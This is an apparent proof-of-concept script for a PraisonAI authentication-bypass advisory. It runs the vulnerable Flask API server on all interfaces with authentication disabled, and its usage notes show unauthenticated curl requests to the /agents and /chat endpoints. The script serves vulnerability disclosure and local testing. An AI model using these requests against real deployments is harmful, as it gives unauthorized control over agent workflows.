""" PraisonAI Authentication Bypass PoC (GHSA-6rmh-7xcm-cpxj) Uses real Flask + Flask-CORS from the vulnerable api_server.py For educational / local testing only. --- How to use pip install flask flask-cors python poc_auth_bypass_server.py # Test without any authentication curl -X GET http://localhost:8080/agents curl -X POST http://localhost:8080/chat \ -H "Content-Type: application/json" \ -d '{"message": "Run the agents for testing"}' """ import importlib.util import pathlib import sys import types # ====================== STUB PraisonAI ====================== class DummyPraisonAI: def __init__(self, agent_file="agents.yaml"): self.agent_file = agent_file print(f"[+] Dummy PraisonAI loaded with file: {agent_file}") def run(self): result = { "status": "success", "response": "Workflow executed successfully (PoC Mode)", "agent_file": self.agent_file, "output": "This is a simulated agent response for local testing." } print(f"[+] Workflow '{self.agent_file}' executed") return result # Inject dummy PraisonAI stub = types.ModuleType("praisonai") stub.PraisonAI = DummyPraisonAI sys.modules["praisonai"] = stub # ====================== CREATE agents.yaml IF MISSING ====================== def ensure_agents_yaml(): repo_root = pathlib.Path(__file__).parent.resolve() agents_path = repo_root / "agents.yaml" if not agents_path.exists(): print("📄 Creating minimal agents.yaml...") content = """framework: crewai topic: Local Security Testing roles: - role: Researcher goal: Research the given topic backstory: You are an expert researcher. - role: Summarizer goal: Summarize the findings clearly backstory: You are a professional summarizer. """ agents_path.write_text(content) print(f"✅ Created {agents_path.name}") else: print(f"✅ Found {agents_path.name}") # ====================== LOAD & RUN VULNERABLE SERVER ====================== def run_vulnerable_server(): repo_root = pathlib.Path(__file__).parent.resolve() api_path = repo_root / "src" / "praisonai" / "api_server.py" if not api_path.exists(): print(f"❌ api_server.py not found at: {api_path}") print("Please run this script from the PraisonAI repository root.") sys.exit(1) spec = importlib.util.spec_from_file_location("api_server", api_path) api_server = importlib.util.module_from_spec(spec) spec.loader.exec_module(api_server) print("\n" + "="*70) print("🚀 Starting Vulnerable PraisonAI API Server") print("="*70) print("✅ Flask + Flask-CORS loaded") print("⚠️ Authentication is DISABLED (AUTH_ENABLED = False)") print("📍 Server running on: http://0.0.0.0:8080") print("🔓 No token or Authorization header required!") print("="*70 + "\n") # Run the actual Flask server api_server.app.run(host="0.0.0.0", port=8080, debug=False) # ====================== MAIN ====================== if __name__ == "__main__": ensure_agents_yaml() run_vulnerable_server()